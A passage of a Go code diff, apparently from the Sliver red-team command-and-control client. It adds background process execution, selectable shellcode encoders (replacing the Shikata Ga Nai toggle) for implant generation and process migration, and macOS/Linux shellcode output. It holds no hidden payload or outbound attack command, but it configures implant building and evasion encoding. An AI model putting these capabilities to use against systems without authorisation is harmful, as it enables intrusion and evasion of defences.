tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
|
||||
|
||||
for _, child := range children {
|
||||
state := "running"
|
||||
exitCode := "-"
|
||||
if child.Exited {
|
||||
state = "exited"
|
||||
exitCode = fmt.Sprintf("%d", child.ExitCode)
|
||||
}
|
||||
|
||||
started := "-"
|
||||
if child.StartTime != 0 {
|
||||
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
|
||||
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
token, _ := cmd.Flags().GetBool("token")
|
||||
hidden, _ := cmd.Flags().GetBool("hidden")
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background, _ := cmd.Flags().GetBool("background")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
@@ -58,10 +59,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
}
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := output || saveLoot || saveOutput
|
||||
if background && (saveLoot || saveOutput) {
|
||||
con.PrintErrorf("The loot and save options are not supported with --background\n")
|
||||
return
|
||||
}
|
||||
|
||||
if output && beacon != nil {
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := !background && (output || saveLoot || saveOutput)
|
||||
|
||||
if captureOutput && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
}
|
||||
|
||||
@@ -84,6 +90,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
@@ -96,6 +103,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
EnvInheritance: envInheritance,
|
||||
@@ -154,11 +162,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background := false
|
||||
if cmd.Flags().Lookup("background") != nil {
|
||||
background, _ = cmd.Flags().GetBool("background")
|
||||
}
|
||||
if background {
|
||||
// Background execution never returns inline output.
|
||||
output = false
|
||||
}
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
if exec.Pid != 0 {
|
||||
if background {
|
||||
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
|
||||
} else {
|
||||
con.PrintErrorf("Exit code %d\n", exec.Status)
|
||||
con.PrintInfof("Process started\n")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
@@ -20,14 +20,19 @@ package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// MigrateCmd - Windows only, inject an implant into another process
|
||||
@@ -55,9 +60,17 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
implantName = beacon.Name
|
||||
}
|
||||
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
targetArch := config.GetGOARCH()
|
||||
if session != nil && session.Arch != "" {
|
||||
targetArch = session.Arch
|
||||
} else if beacon != nil && beacon.Arch != "" {
|
||||
targetArch = beacon.Arch
|
||||
}
|
||||
|
||||
encoder, err := parseShellcodeEncoderFlag(cmd, targetArch, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
@@ -120,3 +133,118 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeShellcodeEncoderName(name string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(name))
|
||||
normalized = strings.ReplaceAll(normalized, "-", "_")
|
||||
return normalized
|
||||
}
|
||||
|
||||
func normalizeShellcodeArch(arch string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(arch))
|
||||
switch normalized {
|
||||
case "amd64", "x64", "x86_64":
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
case "arm64", "aarch64":
|
||||
return "arm64"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
}
|
||||
|
||||
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return nil, errors.New("no RPC client")
|
||||
}
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
|
||||
}
|
||||
|
||||
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
|
||||
if encoderMap == nil {
|
||||
return nil
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
names := make([]string, 0, len(archMap.GetEncoders()))
|
||||
for name := range archMap.GetEncoders() {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
return names
|
||||
}
|
||||
|
||||
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
|
||||
if encoderMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
name = normalizeShellcodeEncoderName(name)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
encoder, ok := archMap.GetEncoders()[name]
|
||||
return encoder, ok
|
||||
}
|
||||
|
||||
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
|
||||
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
|
||||
rawEncoder = strings.TrimSpace(rawEncoder)
|
||||
|
||||
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
|
||||
}
|
||||
|
||||
normalized := normalizeShellcodeEncoderName(rawEncoder)
|
||||
if normalized == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
|
||||
// If no encoder specified, prompt for a compatible encoder (or none).
|
||||
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
// No known compatible encoders for this arch.
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
options := append([]string{"none"}, compatible...)
|
||||
choice := "none"
|
||||
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
if normalizeShellcodeEncoderName(choice) == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
|
||||
if !ok {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
|
||||
// Encoder explicitly specified by name.
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
|
||||
if !ok {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
@@ -3,6 +3,7 @@ package generate
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
@@ -142,12 +143,13 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
||||
f.StringP("name", "n", "", "Implant name")
|
||||
|
||||
})
|
||||
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
})
|
||||
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesGenerateCmd)
|
||||
@@ -308,7 +310,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.StringP("debug-file", "O", "", "path to debug output")
|
||||
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
||||
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
|
||||
f.StringP("canary", "c", "", "canary domain(s)")
|
||||
|
||||
@@ -341,15 +343,46 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.Uint32("donut-entropy", 1, "Donut entropy (1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
|
||||
f.Bool("donut-compress", false, "Enable Donut compression (aplib) (windows shellcode only)")
|
||||
f.Uint32("donut-exitopt", 1, "Donut exit option (1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
|
||||
f.Uint32("donut-bypass", 3, "Donut bypass mode (1=none, 2=abort, 3=continue) (windows shellcode only)")
|
||||
f.Uint32("donut-headers", 1, "Donut headers handling (1=overwrite, 2=keep) (windows shellcode only)")
|
||||
f.Bool("donut-thread", false, "Run unmanaged EXE entrypoint as a new thread (windows shellcode only)")
|
||||
f.Bool("donut-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (windows shellcode only)")
|
||||
f.Uint32("donut-oep", 0, "Donut original entry point override (0=default) (windows shellcode only)")
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
|
||||
|
||||
// Shellcode generation options:
|
||||
// - Windows: Donut
|
||||
// - macOS: beignet
|
||||
// - Linux: malasada
|
||||
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
|
||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows, macOS, and Linux shellcode)")
|
||||
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
|
||||
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
|
||||
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
|
||||
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows shellcode only)")
|
||||
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows shellcode only)")
|
||||
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows shellcode only)")
|
||||
|
||||
// Backwards-compatible deprecated Donut flags (hidden).
|
||||
f.Uint32("donut-entropy", 1, "Deprecated (use --shellcode-entropy)")
|
||||
_ = f.MarkDeprecated("donut-entropy", "use --shellcode-entropy")
|
||||
_ = f.MarkHidden("donut-entropy")
|
||||
f.Bool("donut-compress", false, "Deprecated (use --shellcode-compress)")
|
||||
_ = f.MarkDeprecated("donut-compress", "use --shellcode-compress")
|
||||
_ = f.MarkHidden("donut-compress")
|
||||
f.Uint32("donut-exitopt", 1, "Deprecated (use --shellcode-exitopt)")
|
||||
_ = f.MarkDeprecated("donut-exitopt", "use --shellcode-exitopt")
|
||||
_ = f.MarkHidden("donut-exitopt")
|
||||
f.Uint32("donut-bypass", 3, "Deprecated (use --shellcode-bypass)")
|
||||
_ = f.MarkDeprecated("donut-bypass", "use --shellcode-bypass")
|
||||
_ = f.MarkHidden("donut-bypass")
|
||||
f.Uint32("donut-headers", 1, "Deprecated (use --shellcode-headers)")
|
||||
_ = f.MarkDeprecated("donut-headers", "use --shellcode-headers")
|
||||
_ = f.MarkHidden("donut-headers")
|
||||
f.Bool("donut-thread", false, "Deprecated (use --shellcode-thread)")
|
||||
_ = f.MarkDeprecated("donut-thread", "use --shellcode-thread")
|
||||
_ = f.MarkHidden("donut-thread")
|
||||
f.Bool("donut-unicode", false, "Deprecated (use --shellcode-unicode)")
|
||||
_ = f.MarkDeprecated("donut-unicode", "use --shellcode-unicode")
|
||||
_ = f.MarkHidden("donut-unicode")
|
||||
f.Uint32("donut-oep", 0, "Deprecated (use --shellcode-oep)")
|
||||
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
|
||||
_ = f.MarkHidden("donut-oep")
|
||||
})
|
||||
}
|
||||
|
||||
@@ -362,6 +395,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
||||
(*comp)["c2profile"] = HTTPC2Completer(con)
|
||||
})
|
||||
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -79,6 +80,7 @@ var (
|
||||
"darwin/arm64": true,
|
||||
"linux/386": true,
|
||||
"linux/amd64": true,
|
||||
"linux/arm64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
@@ -353,7 +355,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
isSharedLib := false
|
||||
isService := false
|
||||
isShellcode := false
|
||||
sgnEnabled := false
|
||||
|
||||
var exports []string
|
||||
exportsArg, _ := cmd.Flags().GetString("exports")
|
||||
@@ -377,8 +378,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
|
||||
sgnEnabled = !sgnEnabled
|
||||
case "service":
|
||||
configFormat = clientpb.OutputFormat_SERVICE
|
||||
isService = true
|
||||
@@ -395,9 +394,28 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return "", nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
|
||||
return "", nil
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE {
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
// Server-side implementation supports amd64 and 386 only.
|
||||
if targetArch != "amd64" && targetArch != "386" {
|
||||
con.PrintErrorf("Windows shellcode format is only supported on windows/amd64 and windows/386\n")
|
||||
return "", nil
|
||||
}
|
||||
case "darwin":
|
||||
if targetArch != "arm64" {
|
||||
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
|
||||
return "", nil
|
||||
}
|
||||
case "linux":
|
||||
if targetArch != "amd64" && targetArch != "arm64" {
|
||||
con.PrintErrorf("Linux shellcode format is only supported on linux/amd64 and linux/arm64\n")
|
||||
return "", nil
|
||||
}
|
||||
default:
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows, macOS, and Linux\n")
|
||||
return "", nil
|
||||
}
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
@@ -409,12 +427,19 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
return "", nil
|
||||
}
|
||||
|
||||
donutConfig, err := parseDonutFlags(cmd, targetOS, configFormat, con)
|
||||
shellcodeConfig, err := parseShellcodeFlags(cmd, targetOS, configFormat, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return "", nil
|
||||
}
|
||||
|
||||
shellcodeEncoder, err := parseShellcodeEncoderFlag(cmd, targetArch, configFormat, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return "", nil
|
||||
}
|
||||
sgnEnabled := shellcodeEncoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI // legacy field
|
||||
|
||||
var tunIP net.IP
|
||||
if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
|
||||
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
|
||||
@@ -452,6 +477,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
Debug: debug,
|
||||
Evasion: evasion,
|
||||
SGNEnabled: sgnEnabled,
|
||||
ShellcodeEncoder: shellcodeEncoder,
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
@@ -486,23 +512,63 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
|
||||
DebugFile: debugFile,
|
||||
HTTPC2ConfigName: c2Profile,
|
||||
DonutConfig: donutConfig,
|
||||
ShellcodeConfig: shellcodeConfig,
|
||||
}
|
||||
|
||||
return name, config
|
||||
}
|
||||
|
||||
func parseDonutFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.DonutConfig, error) {
|
||||
donutEntropy, _ := cmd.Flags().GetUint32("donut-entropy")
|
||||
donutCompressEnabled, _ := cmd.Flags().GetBool("donut-compress")
|
||||
donutExitOpt, _ := cmd.Flags().GetUint32("donut-exitopt")
|
||||
donutBypass, _ := cmd.Flags().GetUint32("donut-bypass")
|
||||
donutHeaders, _ := cmd.Flags().GetUint32("donut-headers")
|
||||
donutThread, _ := cmd.Flags().GetBool("donut-thread")
|
||||
donutUnicode, _ := cmd.Flags().GetBool("donut-unicode")
|
||||
donutOEP, _ := cmd.Flags().GetUint32("donut-oep")
|
||||
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
|
||||
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
|
||||
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
||||
if !cmd.Flags().Changed("shellcode-entropy") {
|
||||
shellcodeEntropy, _ = cmd.Flags().GetUint32("donut-entropy")
|
||||
}
|
||||
|
||||
anyChanged := cmd.Flags().Changed("donut-entropy") ||
|
||||
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
|
||||
if !cmd.Flags().Changed("shellcode-compress") {
|
||||
shellcodeCompressEnabled, _ = cmd.Flags().GetBool("donut-compress")
|
||||
}
|
||||
|
||||
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
|
||||
if !cmd.Flags().Changed("shellcode-exitopt") {
|
||||
shellcodeExitOpt, _ = cmd.Flags().GetUint32("donut-exitopt")
|
||||
}
|
||||
|
||||
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
|
||||
if !cmd.Flags().Changed("shellcode-bypass") {
|
||||
shellcodeBypass, _ = cmd.Flags().GetUint32("donut-bypass")
|
||||
}
|
||||
|
||||
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
|
||||
if !cmd.Flags().Changed("shellcode-headers") {
|
||||
shellcodeHeaders, _ = cmd.Flags().GetUint32("donut-headers")
|
||||
}
|
||||
|
||||
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
|
||||
if !cmd.Flags().Changed("shellcode-thread") {
|
||||
shellcodeThread, _ = cmd.Flags().GetBool("donut-thread")
|
||||
}
|
||||
|
||||
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
|
||||
if !cmd.Flags().Changed("shellcode-unicode") {
|
||||
shellcodeUnicode, _ = cmd.Flags().GetBool("donut-unicode")
|
||||
}
|
||||
|
||||
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
|
||||
if !cmd.Flags().Changed("shellcode-oep") {
|
||||
shellcodeOEP, _ = cmd.Flags().GetUint32("donut-oep")
|
||||
}
|
||||
|
||||
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
|
||||
cmd.Flags().Changed("shellcode-compress") ||
|
||||
cmd.Flags().Changed("shellcode-exitopt") ||
|
||||
cmd.Flags().Changed("shellcode-bypass") ||
|
||||
cmd.Flags().Changed("shellcode-headers") ||
|
||||
cmd.Flags().Changed("shellcode-thread") ||
|
||||
cmd.Flags().Changed("shellcode-unicode") ||
|
||||
cmd.Flags().Changed("shellcode-oep") ||
|
||||
cmd.Flags().Changed("donut-entropy") ||
|
||||
cmd.Flags().Changed("donut-compress") ||
|
||||
cmd.Flags().Changed("donut-exitopt") ||
|
||||
cmd.Flags().Changed("donut-bypass") ||
|
||||
@@ -511,43 +577,207 @@ func parseDonutFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.
|
||||
cmd.Flags().Changed("donut-unicode") ||
|
||||
cmd.Flags().Changed("donut-oep")
|
||||
|
||||
if targetOS != "windows" || configFormat != clientpb.OutputFormat_SHELLCODE {
|
||||
if configFormat != clientpb.OutputFormat_SHELLCODE {
|
||||
if anyChanged {
|
||||
con.PrintWarnf("Donut options only apply to Windows shellcode, ignoring.\n")
|
||||
con.PrintWarnf("Shellcode options only apply when using `--format shellcode`, ignoring.\n")
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
if donutEntropy < 1 || donutEntropy > 3 {
|
||||
return nil, fmt.Errorf("donut-entropy must be between 1 and 3")
|
||||
}
|
||||
if donutExitOpt < 1 || donutExitOpt > 3 {
|
||||
return nil, fmt.Errorf("donut-exitopt must be between 1 and 3")
|
||||
}
|
||||
if donutBypass < 1 || donutBypass > 3 {
|
||||
return nil, fmt.Errorf("donut-bypass must be between 1 and 3")
|
||||
}
|
||||
if donutHeaders < 1 || donutHeaders > 2 {
|
||||
return nil, fmt.Errorf("donut-headers must be 1 or 2")
|
||||
windowsOnlyChanged := cmd.Flags().Changed("shellcode-entropy") ||
|
||||
cmd.Flags().Changed("shellcode-exitopt") ||
|
||||
cmd.Flags().Changed("shellcode-bypass") ||
|
||||
cmd.Flags().Changed("shellcode-headers") ||
|
||||
cmd.Flags().Changed("shellcode-thread") ||
|
||||
cmd.Flags().Changed("shellcode-unicode") ||
|
||||
cmd.Flags().Changed("shellcode-oep") ||
|
||||
cmd.Flags().Changed("donut-entropy") ||
|
||||
cmd.Flags().Changed("donut-exitopt") ||
|
||||
cmd.Flags().Changed("donut-bypass") ||
|
||||
cmd.Flags().Changed("donut-headers") ||
|
||||
cmd.Flags().Changed("donut-thread") ||
|
||||
cmd.Flags().Changed("donut-unicode") ||
|
||||
cmd.Flags().Changed("donut-oep")
|
||||
|
||||
// macOS and Linux shellcode currently only support compression.
|
||||
if targetOS != "windows" {
|
||||
if targetOS != "darwin" && targetOS != "linux" {
|
||||
// parseCompileFlags normally blocks this, but keep a safe fallback.
|
||||
if anyChanged {
|
||||
con.PrintWarnf("Shellcode options are only supported on Windows, macOS, and Linux shellcode, ignoring.\n")
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
if windowsOnlyChanged {
|
||||
if targetOS == "darwin" {
|
||||
con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
|
||||
} else {
|
||||
con.PrintWarnf("Windows-only shellcode options are ignored on Linux shellcode.\n")
|
||||
}
|
||||
}
|
||||
|
||||
shellcodeCompress := uint32(1)
|
||||
if shellcodeCompressEnabled {
|
||||
shellcodeCompress = 2
|
||||
}
|
||||
return &clientpb.ShellcodeConfig{
|
||||
Compress: shellcodeCompress,
|
||||
}, nil
|
||||
}
|
||||
|
||||
donutCompress := uint32(1)
|
||||
if donutCompressEnabled {
|
||||
donutCompress = 2
|
||||
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
|
||||
return nil, fmt.Errorf("shellcode-entropy must be between 1 and 3")
|
||||
}
|
||||
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
|
||||
return nil, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
|
||||
}
|
||||
if shellcodeBypass < 1 || shellcodeBypass > 3 {
|
||||
return nil, fmt.Errorf("shellcode-bypass must be between 1 and 3")
|
||||
}
|
||||
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
|
||||
return nil, fmt.Errorf("shellcode-headers must be 1 or 2")
|
||||
}
|
||||
|
||||
return &clientpb.DonutConfig{
|
||||
Entropy: donutEntropy,
|
||||
Compress: donutCompress,
|
||||
ExitOpt: donutExitOpt,
|
||||
Bypass: donutBypass,
|
||||
Headers: donutHeaders,
|
||||
Thread: donutThread,
|
||||
Unicode: donutUnicode,
|
||||
OEP: donutOEP,
|
||||
shellcodeCompress := uint32(1)
|
||||
if shellcodeCompressEnabled {
|
||||
shellcodeCompress = 2
|
||||
}
|
||||
|
||||
return &clientpb.ShellcodeConfig{
|
||||
Entropy: shellcodeEntropy,
|
||||
Compress: shellcodeCompress,
|
||||
ExitOpt: shellcodeExitOpt,
|
||||
Bypass: shellcodeBypass,
|
||||
Headers: shellcodeHeaders,
|
||||
Thread: shellcodeThread,
|
||||
Unicode: shellcodeUnicode,
|
||||
OEP: shellcodeOEP,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func normalizeShellcodeEncoderName(name string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(name))
|
